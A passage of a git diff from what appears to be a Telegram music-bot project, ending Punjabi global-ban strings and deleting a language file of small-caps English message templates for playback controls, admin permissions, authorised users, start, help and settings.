+gban_10 : "» ਕੋਈ ਵੀ ਬੋਟ ਤੋਂ ਗਲੋਬਲ ਤੌਰ 'ਤੇ ਬੈਨ ਨਹੀਂ ਹੈ।"
+gban_11 : "» ਗਲੋਬਲ ਬੈਨ ਕਿਏ ਗਏ ਯੂਜ਼ਰਾਂ ਦੀ ਸੂਚੀ ਲਵੋ ਰਹੀ ਹੈ..."
+gban_12 : "🙂 ਗਲੋਬਲ ਬੈਨ ਕੀਤੇ ਗਏ ਯੂਜ਼ਰ:\n\n"
diff --git a/strings/langs/si.yml b/strings/langs/si.yml
deleted file mode 100644
index e2b545d..0000000
--- a/strings/langs/si.yml
+++ /dev/null
@@ -1,468 +0,0 @@
-name : 😳Anon😳
-
-# General Strings
-general_1 : "ʀᴇᴘʟʏ ᴛᴏ ᴀ ᴜsᴇʀ's ᴍᴇssᴀɢᴇ ᴏʀ ɢɪᴠᴇ ᴜsᴇʀɴᴀᴍᴇ/ᴜsᴇʀ_ɪᴅ."
-general_2 : "ᴇʀʀᴏʀ ! ᴡʀᴏɴɢ ᴜsᴀɢᴇ ᴏꜰ ᴄᴏᴍᴍᴀɴᴅ ʙᴀʙʏ."
-general_3 : "sᴏᴍᴇ **ᴇxᴄᴇᴘᴛɪᴏɴ ᴏᴄᴄᴜʀᴇᴅ** ᴡʜɪʟᴇ ᴘʀᴏᴄᴇssɪɴɢ ʏᴏᴜʀ ǫᴜᴇʀʏ.\n\nᴇxᴄᴇᴘᴛɪᴏɴ ᴛʏᴘᴇ:- {0}"
-general_4 : "ʏᴏᴜ'ʀᴇ ᴀɴ ᴀɴᴏɴʏᴍᴏᴜs ᴀᴅᴍɪɴ ɪɴ ᴛʜɪs ᴄʜᴀᴛ ɢʀᴏᴜᴘ !\nʀᴇᴠᴇʀᴛ ʙᴀᴄᴋ ᴛᴏ ᴜsᴇʀ ᴀᴄᴄᴏᴜɴᴛ ꜰᴏʀ ᴀᴅᴍɪɴ ʀɪɢʜᴛs."
-general_5 : "ʏᴏᴜ ɴᴇᴇᴅ ᴛᴏ ʙᴇ ᴀᴅᴍɪɴ ᴡɪᴛʜ **ᴍᴀɴᴀɢᴇ ᴠɪᴅᴇᴏ ᴄʜᴀᴛ** ʀɪɢʜᴛs ᴛᴏ ᴘᴇʀꜰᴏʀᴍ ᴛʜɪs ᴀᴄᴛɪᴏɴ."
-general_6 : "ʙᴏᴛ ɪsɴ'ᴛ sᴛʀᴇᴀᴍɪɴɢ ᴏɴ ᴠɪᴅᴇᴏ ᴄʜᴀᴛ."
-
-# Classes - Telegram.py
-tg_1 : "ʙᴏᴛ ɪs **ᴏᴠᴇʀʟᴏᴀᴅᴇᴅ** ᴡɪᴛʜ ᴅᴏᴡɴʟᴏᴀᴅs ʀɪɢʜᴛ ɴᴏᴡ ʙᴀʙʏ.\n\n**ᴛʀʏ ᴀꜰᴛᴇʀ:** {0} (__ᴇxᴘᴇᴄᴛᴇᴅ ᴛɪᴍᴇ__)"
-tg_2 : "ꜰᴀɪʟᴇᴅ ᴛᴏ ᴅᴏᴡɴʟᴏᴀᴅ ᴛʜᴇ ᴍᴇᴅɪᴀ ꜰʀᴏᴍ ᴛᴇʟᴇɢʀᴀᴍ ʙᴀʙʏ."
-
-# Core - Call.py
-call_1 : "ʙᴏᴛ ʀᴇǫᴜɪʀᴇs **ᴀᴅᴍɪɴ** ᴘᴇʀᴍɪssɪᴏɴ ᴛᴏ ɪɴᴠɪᴛᴇ ᴀssɪsᴛᴀɴᴛ ᴀᴄᴄᴏᴜɴᴛ ᴛᴏ ʏᴏᴜʀ ᴄʜᴀɴɴᴇʟ ʙᴀʙʏ.\n\nᴅɪsᴀʙʟᴇ ᴄʜᴀɴɴᴇʟ ᴘʟᴀʏᴍᴏᴅᴇ ᴠɪᴀ : /playmode"
-call_2 : "ᴀssɪsᴛᴀɴᴛ ɪs ʙᴀɴɴᴇᴅ ɪɴ ʏᴏᴜʀ ɢʀᴏᴜᴘ ᴏʀ ᴄʜᴀɴɴᴇʟ ʙᴀʙʏ, ᴘʟᴇᴀsᴇ ᴜɴʙᴀɴ.\n\n**ᴀssɪsᴛᴀɴᴛ ᴜsᴇʀɴᴀᴍᴇ:** @{0}\n**ᴀssɪsᴛᴀɴᴛ ɪᴅ:** {1}"
-call_3 : "ᴇxᴄᴇᴘᴛɪᴏɴ ᴏᴄᴄᴜʀᴇᴅ ᴡʜɪʟᴇ ɪɴᴠɪᴛɪɴɢ ᴀssɪsᴛᴀɴᴛ ᴀᴄᴄᴏᴜɴᴛ ᴛᴏ ʏᴏᴜʀ ᴄʜᴀᴛ ʙᴀʙʏ.\n\n**ʀᴇᴀsᴏɴ**: {0}"
-call_4 : "ʙᴏᴛ ʀᴇǫᴜɪʀᴇs **ɪɴᴠɪᴛᴇ ᴜsᴇʀs ᴠɪᴀ ʟɪɴᴋ** ᴘᴇʀᴍɪssɪᴏɴ ᴛᴏ ɪɴᴠɪᴛᴇ ᴀssɪsᴛᴀɴᴛ ᴀᴄᴄᴏᴜɴᴛ ᴛᴏ ʏᴏᴜʀ ᴄʜᴀᴛ ɢʀᴏᴜᴘ ʙᴀʙʏ."
-call_5 : "ᴀssɪsᴛᴀɴᴛ ᴀᴄᴄᴏᴜɴᴛ ᴡɪʟʟ ʙᴇ ᴊᴏɪɴɪɴɢ ɪɴ 5 sᴇᴄᴏɴᴅs, ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ..."
-call_6 : "ᴀssɪsᴛᴀɴᴛ ᴀᴄᴄᴏᴜɴᴛ [{0}] ᴊᴏɪɴᴇᴅ sᴜᴄᴄᴇssꜰᴜʟʟʏ ʙᴀʙʏ.\n\nsᴛᴀʀᴛɪɴɢ ᴍᴜsɪᴄ ɴᴏᴡ"
-call_7 : "**ʜᴀʀᴍꜰᴜʟ ᴀᴅᴍɪɴ ʀɪɢʜᴛ ɢɪᴠᴇɴ **\n\nᴘʟᴇᴀsᴇ ʀᴇᴍᴏᴠᴇ **ʙᴀɴ ᴜsᴇʀs** ʀɪɢʜᴛs ꜰʀᴏᴍ ᴛʜᴇ ʙᴏᴛ ʙᴀʙʏ."
-call_8 : "**ʜᴀʀᴍꜰᴜʟ ᴀᴅᴍɪɴ ʀɪɢʜᴛ ɢɪᴠᴇɴ **\n\nᴘʟᴇᴀsᴇ ʀᴇᴍᴏᴠᴇ **ᴀᴅᴅ ɴᴇᴡ ᴀᴅᴍɪɴs** ʀɪɢʜᴛs ꜰʀᴏᴍ ᴛʜᴇ ʙᴏᴛ ʙᴀʙʏ."
-call_9 : "**ꜰᴀɪʟᴇᴅ ᴛᴏ sᴡɪᴛᴄʜ sᴛʀᴇᴀᴍ**\nᴘʟᴇᴀsᴇ ᴜsᴇ /sᴋɪᴘ ᴛᴏ ᴄʜᴀɴɢᴇ ᴛʀᴀᴄᴋ ᴀɢᴀɪɴ ʙᴀʙʏ."
-call_10 : "ᴅᴏᴡɴʟᴏᴀᴅɪɴɢ ɴᴇxᴛ ᴛʀᴀᴄᴋ ꜰʀᴏᴍ ᴘʟᴀʏʟɪsᴛ ʙᴀʙʏ"
-call_11 : "ᴘʟᴇᴀsᴇ ᴀᴅᴅ @{0} ᴛᴏ ʏᴏᴜʀ ᴄʜᴀɴɴᴇʟ[ ID: {1}].\n\nʙᴏᴛ ɪs ɴᴏᴛ ᴀʙʟᴇ ᴛᴏ ɢᴇᴛ ᴄʜᴀɴɴᴇʟ ᴅᴇᴛᴀɪʟs."
-
-# PLUGINS - Auth.py
-auth_1 : "ʏᴏᴜ ᴄᴀɴ ᴏɴʟʏ ʜᴀᴠᴇ 20 ᴜsᴇʀs ɪɴ ʏᴏᴜʀ ɢʀᴏᴜᴘ's ᴀᴜᴛʜᴏʀɪsᴇᴅ ᴜsᴇʀs ʟɪsᴛ (ᴀᴜʟ) ʙᴀʙʏ"
-auth_2 : "ᴀᴅᴅᴇᴅ ᴛᴏ ᴀᴜᴛʜᴏʀɪsᴇᴅ ᴜsᴇʀs ʟɪsᴛ ᴏꜰ ʏᴏᴜʀ ɢʀᴏᴜᴘ ʙᴀʙʏ."
-auth_3 : "ᴀʟʀᴇᴀᴅʏ ɪɴ ᴛʜᴇ ᴀᴜᴛʜᴏʀɪsᴇᴅ ᴜsᴇʀs ʟɪsᴛ ʙᴀʙʏ."
-auth_4 : "ʀᴇᴍᴏᴠᴇᴅ ꜰʀᴏᴍ ᴀᴜᴛʜᴏʀɪsᴇᴅ ᴜsᴇʀs ʟɪsᴛ ᴏꜰ ᴛʜɪs ɢʀᴏᴜᴘ ʙᴀʙʏ."
-auth_5 : "ᴛᴀʀɢᴇᴛᴇᴅ ᴜsᴇʀ ɪs ɴᴏᴛ ᴀɴ ᴀᴜᴛʜᴏʀɪsᴇᴅ ᴜsᴇʀ ʙᴀʙʏ."
-auth_6 : "ꜰᴇᴛᴄʜɪɴɢ ᴀᴜᴛʜᴏʀɪsᴇᴅ ᴜsᴇʀs...ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ ʙᴀʙʏ !"
-auth_7 : "**ᴀᴜᴛʜᴏʀɪsᴇᴅ ᴜsᴇʀs ʟɪsᴛ[ᴀᴜʟ]:**\n\n"
-auth_8 : "┗ ᴀᴅᴅᴇᴅ ʙʏ:-"
-
-# PLUGINS - Admins
-admin_1 : "ᴍᴜsɪᴄ ɪs ᴀʟʀᴇᴀᴅʏ ᴘᴀᴜsᴇᴅ."
-admin_2 : "🎧 ᴠᴏɪᴄᴇᴄʜᴀᴛ ᴘᴀᴜsᴇᴅ ʙʏ {} !"
-admin_3 : "ᴍᴜsɪᴄ ɪs ᴀʟʀᴇᴀᴅʏ ʀᴇsᴜᴍᴇᴅ."
-admin_4 : "🎧 ᴠᴏɪᴄᴇᴄʜᴀᴛ ʀᴇsᴜᴍᴇᴅ ʙʏ {} !"
-admin_5 : "ᴍᴜsɪᴄ ɪs ᴀʟʀᴇᴀᴅʏ ᴍᴜᴛᴇᴅ."
-admin_6 : "🎧 ᴠᴏɪᴄᴇᴄʜᴀᴛ ᴍᴜᴛᴇᴅ ʙʏ {} !"
-admin_7 : "ᴍᴜsɪᴄ ɪs ᴀʟʀᴇᴀᴅʏ ᴜɴᴍᴜᴛᴇᴅ."
-admin_8 : "🎧 ᴠᴏɪᴄᴇᴄʜᴀᴛ ᴜɴᴍᴜᴛᴇᴅ ʙʏ {} !"
-admin_9 : "🎧 ᴠᴏɪᴄᴇᴄʜᴀᴛ ᴇɴᴅ/sᴛᴏᴘᴘᴇᴅ ʙʏ {} !"
-admin_10 : "🎧 ᴠᴏɪᴄᴇᴄʜᴀᴛ sᴋɪᴘᴘᴇᴅ ʙʏ {} ! ɴᴏ ᴍᴏʀᴇ ᴍᴜsɪᴄ ɪɴ ǫᴜᴇᴜᴇ."
-admin_11 : "ᴇʀʀᴏʀ ᴡʜɪʟᴇ ᴄʜᴀɴɢɪɴɢ sᴛʀᴇᴀᴍ ᴛᴏ **{0}** ʙᴀʙʏ\n\nᴘʟᴇᴀsᴇ ᴜsᴇ /skip ᴀɢᴀɪɴ."
-admin_12 : "ᴜɴᴀʙʟᴇ ᴛᴏ sᴋɪᴘ ᴛᴏ ᴀ sᴘᴇᴄɪꜰɪᴄ ᴛʀᴀᴄᴋ ʙᴇᴄᴀᴜsᴇ ᴏꜰ ᴇɴᴀʙʟᴇᴅ **ʟᴏᴏᴘ ᴘʟᴀʏ**. ᴘʟᴇᴀsᴇ ᴅɪsᴀʙʟᴇ ʟᴏᴏᴘ ᴘʟᴀʏ ᴠɪᴀ `/loop disable` ᴛᴏ ᴜsᴇ ᴛʜɪs ꜰᴇᴀᴛᴜʀᴇ ʙᴀʙʏ."
-admin_13 : "ᴘʟᴇᴀsᴇ ᴜsᴇ ɴᴜᴍᴇʀɪᴄ ɴᴜᴍʙᴇʀs ꜰᴏʀ sᴘᴇᴄɪꜰɪᴄ ᴛʀᴀᴄᴋs ʙᴀʙʏ, ʟɪᴋᴇ 1, 2 ᴏʀ ᴇᴛᴄ"
-admin_14 : "ᴀᴛʟᴇᴀsᴛ 2 ᴛʀᴀᴄᴋs ɴᴇᴇᴅᴇᴅ ɪɴ ǫᴜᴇᴜᴇ ᴛᴏ sᴋɪᴘ ᴛᴏ ᴀ sᴘᴇᴄɪꜰɪᴄ ɴᴜᴍʙᴇʀ ʙᴀʙʏ. ᴄʜᴇᴄᴋ ǫᴜᴇᴜᴇ ʙʏ /queue"
-admin_15 : "ɴᴏᴛ ᴇɴᴏᴜɢʜ ᴛʀᴀᴄᴋs ɪɴ ǫᴜᴇᴜᴇ ꜰᴏʀ ᴛʜᴇ ᴠᴀʟᴜᴇ ɢɪᴠᴇɴ ʙʏ ʏᴏᴜ ʙᴀʙʏ. ᴘʟᴇᴀsᴇ ᴄʜᴏᴏsᴇ ɴᴜᴍʙᴇʀs ʙᴇᴛᴡᴇᴇɴ 1 ᴀɴᴅ {0}"
-admin_16 : "ꜰᴀɪʟᴇᴅ ᴛᴏ sᴋɪᴘ ᴛᴏ sᴘᴇᴄɪꜰɪᴄ ᴛʀᴀᴄᴋ ʙᴀʙʏ.\n\nᴄʜᴇᴄᴋ ʟᴇꜰᴛ ǫᴜᴇᴜᴇ ʙʏ /queue"
-admin_17 : "{0}...ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ ʙᴀʙʏ!"
-admin_18 : "ᴀᴅᴍɪɴ ʟɪsᴛ ɴᴏᴛ ꜰᴏᴜɴᴅ ʙᴀʙʏ\n\nᴘʟᴇᴀsᴇ ʀᴇʟᴏᴀᴅ ᴀᴅᴍɪɴʟɪsᴛ ᴠɪᴀ `/reload`"
-admin_19 : "ʏᴏᴜ ɴᴇᴇᴅ ᴛᴏ ʙᴇ ᴀᴅᴍɪɴ ᴡɪᴛʜ **ᴍᴀɴᴀɢᴇ ᴠᴏɪᴄᴇ ᴄʜᴀᴛ** ʀɪɢʜᴛs ᴛᴏ ᴘᴇʀꜰᴏʀᴍ ᴛʜɪs ʙᴀʙʏ.\nɪꜰ ʏᴏᴜ'ʀᴇ ᴀʟʀᴇᴀᴅʏ ᴀᴅᴍɪɴ, ʀᴇʟᴏᴀᴅ ᴀᴅᴍɪɴᴄᴀᴄʜᴇ ᴠɪᴀ /adminncache "
-admin_20 : "ᴀᴅᴍɪɴ ᴄᴀᴄʜᴇ ʀᴇʟᴏᴀᴅᴇᴅ sᴜᴄᴄᴇssꜰᴜʟʟʏ ʙᴀʙʏ."
-admin_21 : "ɴᴏᴛʜɪɴɢ ɪɴsɪᴅᴇ ǫᴜᴇᴜᴇ ᴛᴏ sʜᴜꜰꜰʟᴇ ʙᴀʙʏ"
-admin_22 : "ꜰᴀɪʟᴇᴅ ᴛᴏ sʜᴜꜰꜰʟᴇ ʙᴀʙʏ.\n\nᴄʜᴇᴄᴋ ǫᴜᴇᴜᴇ : /queue"
-admin_23 : "**ǫᴜᴇᴜᴇ sʜᴜꜰꜰʟᴇᴅ ʙʏ {0} ʙᴀʙʏ**\n\nᴄʜᴇᴄᴋ sʜᴜꜰꜰʟᴇᴅ ǫᴜᴇᴜᴇ : /queue"
-admin_24 : "**ᴜsᴀɢᴇ:**\n/loop [enable/disable] or [ɴᴜᴍʙᴇʀ ʙᴇᴛᴡᴇᴇɴ 1-10]\n\n**ᴇxᴀᴍᴘʟᴇ:** /loop 5"
-admin_25 : "ʟᴏᴏᴘ ᴇɴᴀʙʟᴇᴅ ʙʏ {0} ʙᴀʙʏ ꜰᴏʀ **{1}** ᴛɪᴍᴇs. ʙᴏᴛ ᴡɪʟʟ ɴᴏᴡ ʀᴇᴘᴇᴀᴛ ᴛʜᴇ ᴄᴜʀʀᴇɴᴛ ᴘʟᴀʏɪɴɢ ᴍᴜsɪᴄ ᴏɴ ᴠᴏɪᴄᴇ ᴄʜᴀᴛ ꜰᴏʀ **{1}** ᴛɪᴍᴇs ʙᴀʙʏ"
-admin_26 : "ᴘʟᴇᴀsᴇ ᴜsᴇ ɴᴜᴍʙᴇʀs ʙᴇᴛᴡᴇᴇɴ 1-10 ꜰᴏʀ ʟᴏᴏᴘ ᴘʟᴀʏ ʙᴀʙʏ"
-admin_27 : "ʟᴏᴏᴘ ᴘʟᴀʏ ʜᴀs ʙᴇᴇɴ ᴅɪsᴀʙʟᴇᴅ ʙᴀʙʏ"
-admin_28 : "**ᴜsᴀɢᴇ:**\n/seek ᴏʀ /seekback [ᴅᴜʀᴀᴛɪᴏɴ ɪɴ sᴇᴄᴏɴᴅs]"
-admin_29 : "ᴩʟᴇᴀsᴇ ᴜsᴇ ɴᴜᴍʙᴇʀ ғᴏʀ sᴇᴇᴋɪɴɢ ɪɴ sᴇᴄᴏɴᴅs."
-admin_30 : "sᴏʀʀʏ ʙᴜᴛ ʏᴏᴜ ᴄᴀɴ'ᴛ sᴇᴇᴋ ᴛʜᴇ ᴩʟᴀʏɪɴɢ sᴛʀᴇᴀᴍ, ɪᴛ ᴄᴀɴ ᴏɴʟʏ ʙᴇ sᴋɪᴩᴩᴇᴅ ᴏʀ sᴛᴏᴩᴩᴇᴅ."
-admin_31 : "ʙᴏᴛ ɪs ɴᴏᴛ ᴀʙʟᴇ ᴛᴏ sᴇᴇᴋ ʙᴇᴄᴀᴜsᴇ ᴏғ ʜɪɢʜ ᴅᴜʀᴀᴛɪᴏɴ ɢɪᴠᴇɴ. ᴛʀʏ sᴇᴇᴋɪɴɢ ᴡɪᴛʜ ʟᴏᴡᴇʀ ᴅᴜʀᴀᴛɪᴏɴ ᴀɴᴅ ʀᴇᴍᴇᴍʙᴇʀ ᴛʜᴀᴛ ᴀ ᴛɪᴍᴇ ᴏғ 10sᴇᴄ ɪs ʟᴇғᴛ ᴀғᴛᴇʀ sᴇᴇᴋɪɴɢ.\n\nᴩʟᴀʏɪɴɢ** {0}** ᴍɪɴs ᴏᴜᴛ ᴏғ **{1}** ᴍɪɴs"
-admin_32 : "sᴇᴇᴋɪɴɢ..."
-admin_33 : "sᴇᴇᴋᴇᴅ ᴛᴏ {0} ᴍɪɴs"
-admin_34 : "ғᴀɪʟᴇᴅ ᴛᴏ sᴇᴇᴋ."
-
-# Bot
-
-# Start
-start_1 : "ᴛʜᴀɴᴋs ғᴏʀ ᴀᴅᴅɪɴɢ ᴍᴇ ɪɴ {0}.\n{1} ᴄᴀɴ ɴᴏᴡ ᴩʟᴀʏ sᴏɴɢs ɪɴ ᴛʜɪs ᴄʜᴀᴛ.\n\nғᴏʀ ɢᴇᴛᴛɪɴɢ ᴀɴʏ ᴛʏᴩᴇ ᴏғ ʜᴇʟᴩ ʏᴏᴜ ᴄᴀɴ ᴊᴏɪɴ ᴏᴜʀ sᴜᴩᴩᴏʀᴛ ɢʀᴏᴜᴩ."
-start_2 : "**ʜᴇʏ ʙᴀʙʏ, 🖤**\n **ᴛʜɪs ɪs {0}** 🥀\n **ᴀ ᴩᴏᴡᴇʀғᴜʟ ᴍᴜsɪᴄ ᴩʟᴀʏᴇʀ ʙᴏᴛ ᴡɪᴛʜ sᴏᴍᴇ ᴀᴡᴇsᴏᴍᴇ ᴀɴᴅ ᴜsᴇғᴜʟ ғᴇᴀᴛᴜʀᴇs.**\n\n**ᴀʟʟ ᴏғ ᴍʏ ᴄᴏᴍᴍᴀɴᴅs ᴀʀᴇ ʟɪsᴛᴇᴅ ɪɴ ᴛʜᴇ ʜᴇʟᴩ ʙᴜᴛᴛᴏɴ.**"
-start_3 : "ʜᴇʏ,\n ᴛʜɪs ɪs {0}\n\nᴀ ғᴀsᴛ ᴀɴᴅ ᴩᴏᴡᴇʀғᴜʟ ᴍᴜsɪᴄ ᴩʟᴀʏᴇʀ ʙᴏᴛ ᴡɪᴛʜ sᴏᴍᴇ ᴀᴡᴇsᴏᴍᴇ ғᴇᴀᴛᴜʀᴇs.\n\nᴀssɪsᴛᴀɴᴛ ᴜsᴇʀɴᴀᴍᴇ:- @{1}\nᴀssɪsᴛᴀɴᴛ ɪᴅ:- {2}"
-start_4 : "ᴛʜᴇ ᴏᴡɴᴇʀ ᴏғ {0}, [{1}] ᴊᴜsᴛ ᴊᴏɪɴᴇᴅ ʏᴏᴜʀ ᴄʜᴀᴛ."
-start_5 : "ᴛʜᴇ sᴜᴅᴏ ᴜsᴇʀ ᴏғ {0}, [{1}] ᴊᴜsᴛ ᴊᴏɪɴᴇᴅ ʏᴏᴜʀ ᴄʜᴀᴛ."
-start_6 : "❗️ **sᴜᴘᴇʀɢʀᴏᴜᴘ ɴᴇᴇᴅᴇᴅ** ❗️\n\nᴘʟᴇᴀsᴇ ᴄᴏɴᴠᴇʀᴛ ʏᴏᴜʀ **ɢʀᴏᴜᴘ** ᴛᴏ **sᴜᴘᴇʀɢʀᴏᴜᴘ** ᴀɴᴅ ᴛʜᴇɴ ᴀᴅᴅ ᴍᴇ ʙᴀᴄᴋ.\n\n**ʜᴏᴡ ᴛᴏ ᴍᴀᴋᴇ sᴜᴘᴇʀɢʀᴏᴜᴘ ?**\n🥱 ᴍᴀᴋᴇ ʏᴏᴜʀ ɢʀᴏᴜᴘ's ᴄʜᴀᴛ ʜɪsᴛᴏʀʏ **ᴠɪsɪʙʟᴇ** ᴏɴᴄᴇ."
-start_7 : "**ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴄʜᴀᴛ**\n\nᴛʜɪs ᴄʜᴀᴛ ɪs ʙʟᴀᴄᴋʟɪsᴛ ғᴏʀ ᴜsɪɴɢ ᴛʜᴇ ʙᴏᴛ. ʀᴇǫᴜᴇsᴛ ᴀ sᴜᴅᴏ ᴜsᴇʀ ᴛᴏ ᴡʜɪᴛᴇʟɪsᴛ ʏᴏᴜʀ ᴄʜᴀᴛ, sᴜᴅᴏ ᴜsᴇʀs [ʟɪsᴛ]({0}) , ᴇʟsᴇ ғᴜ*ᴋ ᴏғғ."
-
-# Help
-help_1 : "ᴄʜᴏᴏsᴇ ᴛʜᴇ ᴄᴀᴛᴇɢᴏʀʏ ғᴏʀ ᴡʜɪᴄʜ ʏᴏᴜ ᴡᴀɴɴᴀ ɢᴇᴛ ʜᴇʟᴩ.\nᴀsᴋ ʏᴏᴜʀ ᴅᴏᴜʙᴛs ᴀᴛ @{}\n\nᴀʟʟ ᴄᴏᴍᴍᴀɴᴅs ᴄᴀɴ ʙᴇ ᴜsᴇᴅ ᴡɪᴛʜ : `/`"
-help_2 : "• ʜᴇʟᴩ •"
-
-# Settings
-setting_1 : "⚙️ **ᴍᴜsɪᴄ ʙᴏᴛ sᴇᴛᴛɪɴɢs**\n\n🖇**ɢʀᴏᴜᴘ:** {0}\n🔖**ɢʀᴏᴜᴘ ɪᴅ:** `{1}`\n\n💡**ᴄʜᴏᴏsᴇ ᴛʜᴇ ꜰᴜɴᴄᴛɪᴏɴ ʙᴜᴛᴛᴏɴs ꜰʀᴏᴍ ʙᴇʟᴏᴡ ᴡʜɪᴄʜ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ᴇᴅɪᴛ ᴏʀ ᴄʜᴀɴɢᴇ.**"
-setting_3 : "⁉️ ᴡʜᴀᴛ ɪs ᴛʜɪs ?\n\n1) ᴅɪʀᴇᴄᴛ: ᴘʟᴀʏs sᴇᴀʀᴄʜ ǫᴜᴇʀɪᴇs ᴅɪʀᴇᴄᴛʟʏ. ᴜsᴇ -ᴠ ᴛᴏ ᴘʟᴀʏ ᴠɪᴅᴇᴏs ɪɴ ᴅɪʀᴇᴄᴛ ᴍᴏᴅᴇ.\n\n2) ɪɴʟɪɴᴇ: ʀᴇᴛᴜʀɴs ɪɴʟɪɴᴇ ᴍᴀʀᴋᴜᴘ ʙᴜᴛᴛᴏɴs ꜰᴏʀ ᴄʜᴏᴏsɪɴɢ ʙᴇᴛᴡᴇᴇɴ ᴠɪᴅᴇᴏ & ᴀᴜᴅɪᴏ."
-setting_4 : "⁉️ ᴡʜᴀᴛ ɪs ᴛʜɪs ?\n\n👥 ᴇᴠᴇʀʏᴏɴᴇ: ᴀɴʏᴏɴᴇ ᴄᴀɴ ᴜsᴇ ᴀᴅᴍɪɴ ᴄᴏᴍᴍᴀɴᴅs(sᴋɪᴘ, ᴘᴀᴜsᴇ, ʀᴇsᴜᴍᴇ ᴇᴛᴄ) ᴘʀᴇsᴇɴᴛ ɪɴ ᴛʜɪs ɢʀᴏᴜᴘ.\n\n🙍 ᴀᴅᴍɪɴ ᴏɴʟʏ: ᴏɴʟʏ ᴀᴅᴍɪɴs ᴀɴᴅ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ᴄᴀɴ ᴜsᴇ ᴀᴅᴍɪɴ ᴄᴏᴍᴍᴀɴᴅs."
-setting_5 : "ɴᴏ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ꜰᴏᴜɴᴅ.\n\nʏᴏᴜ ᴄᴀɴ ᴀʟʟᴏᴡ ᴀɴʏ ɴᴏɴ-ᴀᴅᴍɪɴ ᴛᴏ ᴜsᴇ ᴍʏ ᴀᴅᴍɪɴ ᴄᴏᴍᴍᴀɴᴅs ʙʏ /auth ᴀɴᴅ ᴅᴇʟᴇᴛᴇ ʙʏ ᴜsɪɴɢ /unauth"
-setting_9 : "⁉️ ᴡʜᴀᴛ ɪs ᴛʜɪs ?\n\nᴡʜᴇɴ ᴀᴄᴛɪᴠᴀᴛᴇᴅ, ʙᴏᴛ ᴡɪʟʟ ᴅᴇʟᴇᴛᴇ ɪᴛs ᴍᴇssᴀɢᴇ ᴀꜰᴛᴇʀ {0} ᴛᴏ ᴍᴀᴋᴇ ʏᴏᴜʀ ᴄʜᴀᴛ ᴄʟᴇᴀɴ ᴀɴᴅ ᴄʟᴇᴀʀ."
-setting_10 : "⁉️ ᴡʜᴀᴛ ɪs ᴛʜɪs ?\n\n1) ɢʀᴏᴜᴘ: ᴘʟᴀʏs ᴍᴜsɪᴄ ɪɴ ᴛʜᴇ ɢʀᴏᴜᴘ ᴡʜᴇʀᴇ ᴛʜᴇ ᴄᴏᴍᴍᴀɴᴅ ɪs ɢɪᴠᴇɴ.\n\n2) ᴄʜᴀɴɴᴇʟ: ᴘʟᴀʏs ᴍᴜsɪᴄ ɪɴ ᴛʜᴇ ᴄʜᴀɴɴᴇʟ ʏᴏᴜ ᴡᴀɴᴛ. sᴇᴛ ᴄʜᴀɴɴᴇʟ ɪᴅ ᴠɪᴀ /channelplay"
-setting_11 : "⁉️ ᴡʜᴀᴛ ɪs ᴛʜɪs ?\n\n1) ᴇᴠᴇʀʏᴏɴᴇ: ᴀɴʏᴏɴᴇ ᴘʀᴇsᴇɴᴛ ɪɴ ᴛʜɪs ɢʀᴏᴜᴘ ᴄᴀɴ ᴘʟᴀʏ ᴍᴜsɪᴄ ʜᴇʀᴇ.\n\n2) ᴀᴅᴍɪɴ ᴏɴʟʏ: ᴏɴʟʏ ᴀᴅᴍɪɴs ᴄᴀɴ ᴘʟᴀʏ ᴛʜᴇ ᴍᴜsɪᴄ ɪɴ ᴛʜɪs ɢʀᴏᴜᴘ."
-setting_12 : "❌ ʏᴏᴜ'ᴠᴇ ɴᴏ ᴄʜᴀɴɴᴇʟ ɪᴅ ᴅᴇꜰɪɴᴇᴅ ꜰᴏʀ ᴄʜᴀɴɴᴇʟ ᴍᴏᴅᴇ. ᴘʟᴇᴀsᴇ ᴅᴇꜰɪɴᴇ ᴡɪᴛʜ /channelplay."
-setting_13 : "ᴄᴀɴ'ᴛ ᴄʜᴀɴɢᴇ ᴘʟᴀʏ ᴍᴏᴅᴇ ɪɴ ᴀᴄᴛɪᴠᴇ ɢʀᴏᴜᴘ ᴄᴀʟʟ. ᴘʟᴇᴀsᴇ sᴛᴏᴘ ᴛʜᴇ ᴠᴏɪᴄᴇ ᴄʜᴀᴛ ꜰɪʀsᴛ ᴡɪᴛʜ /stop or /end."
-setting_14 : "⁉️ ᴡʜᴀᴛ ɪs ᴛʜɪs ?\n\nᴡʜᴇɴ ᴀᴄᴛɪᴠᴀᴛᴇᴅ, ʙᴏᴛ ᴡɪʟʟ ᴅᴇʟᴇᴛᴇ ɪᴛs ᴇxᴇᴄᴜᴛᴇᴅ ᴄᴏᴍᴍᴀɴᴅs (/play, /pause, /shuffle, /stop ᴇᴛᴄ) ɪᴍᴍᴇᴅɪᴀᴛᴇʟʏ.\n\nʙᴏᴛ ᴡɪʟʟ ʙᴇ ʀᴇǫᴜɪʀɪɴɢ ᴅᴇʟᴇᴛᴇ ᴍᴇssᴀɢᴇs ᴀᴅᴍɪɴ ʀɪɢʜᴛ ꜰᴏʀ ᴛʜɪs ᴛᴏ ᴡᴏʀᴋ ᴘʀᴏᴘᴇʀʟʏ."
-setting_15 : "ꜰᴀɪʟᴇᴅ ᴛᴏ ʀᴇsᴏʟᴠᴇ ᴘᴇᴇʀ, ᴍᴀᴋᴇ sᴜʀᴇ ʏᴏᴜ ʜᴀᴠᴇ ᴀᴅᴅᴇᴅ ʙᴏᴛ ɪɴ ʏᴏᴜʀ ᴄʜᴀɴɴᴇʟ ᴀɴᴅ ᴘʀᴏᴍᴏᴛᴇᴅ ɪᴛ ᴀs ᴀᴅᴍɪɴ ʙᴀʙʏ.\n\nᴛʀʏ sᴇᴛᴛɪɴɢ /channelplay ᴀɢᴀɪɴ."
